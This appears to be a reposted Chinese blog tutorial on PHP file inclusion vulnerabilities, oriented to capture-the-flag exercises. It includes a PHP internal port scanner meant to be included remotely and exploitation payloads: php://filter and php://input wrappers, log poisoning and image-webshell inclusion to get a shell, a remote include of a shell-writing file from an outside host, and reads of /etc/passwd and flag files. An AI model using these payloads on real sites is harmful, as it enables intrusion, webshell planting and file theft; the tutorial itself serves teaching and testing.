文件包含漏洞(RFI)

1文件包含漏洞简介

include  require  include_once   require_once

RFI综述

RFI是Remote File Inclusion的英文缩写,直译过来就是远程文件包含,文件包含的目的是:程序员编写程序时,经常会把需要重复使用的代码写入一个单独的文件中,当需要调用这些代码时,再在其他文件中包含调用代码的文件。

一下是一个扫描端口PHP,可以包含它来探测内网端口 

 

php
//echo "";
if(isset($_REQUEST['ip'])){
        $ports = array(80,8080,21,443,3306,22,1,2,1433);
        $result = array();
        foreach($ports as $port){
                if($pf = @fsockopen($_REQUEST['ip'], $port, $err, $err_string, 2)){
                        $result[$port] = true;
                        fclose($pf);
                }else{
                        $result[$port] = false;
                }
        }
        foreach($result as $port=>$val){
                $serv = @getservbyport($port, 'TCP');
                echo "scan port " . $port . " (" . $serv . "):";
                if($val){
                        //echo 'open'.'
';
echo "open
"; }else{ //echo 'close'.'
';
echo "close
"; } } } ?>
扫描端口

 

 

 

 

1.本地文件包含漏洞

文件包含漏洞(RFI)_第1张图片

2.远程文件包含漏洞

条件:php.ini文件中的allow_url_include=On

http://test.com/?page=http://www.baidu.com/index.html

3.常见的敏感文件
文件包含漏洞(RFI)_第2张图片

 

1. 根目录下存在flag文件
 C://flag.txt
2. passwd文件存在flag
/etc/passwd
3. Web根目录下存在 flag文件
4. 当前页面下存在flag文件
5. apache/php/mysql配置文件下存在flag文件
利用phpinfo()函数来获取路径

 3重要的利用手法

(1)包含上传的getshell

                 上传图片马,利用文件包含我们的图片马,菜刀连接

(2)包含日志文件getshell

burpsuite里面访问
http://127.0.0.1/
为了避免在web中进行了url编码,进行报错,把爆错信息写进日志
http://test.com/?page=../apache/logs/error.log
成功

(3)远程文件包含getshell

(4)远程文件包含写shell

包含hackxf.cn下面的get_shell.txt文件,内容

');

?>

访问当前目录下已经生成的shell.php文件

(5)PHP封装协议读取文件

1 php://filter/read=convert.base64-encode/resource=index.php
2 
3 http://test.com/?page=php://filter/read=convert.base64-encode/resource=index.php

(6)PHP封装协议命令执行

http://127.0.0.1/cmd.php?file=php://input

[POST DATA] 

(7)file封装协议读取文件

http://test.com/?page=file://c:/flag.txt

 

转载于:https://www.cnblogs.com/hackxf/p/8933169.html

你可能感兴趣的:(文件包含漏洞(RFI))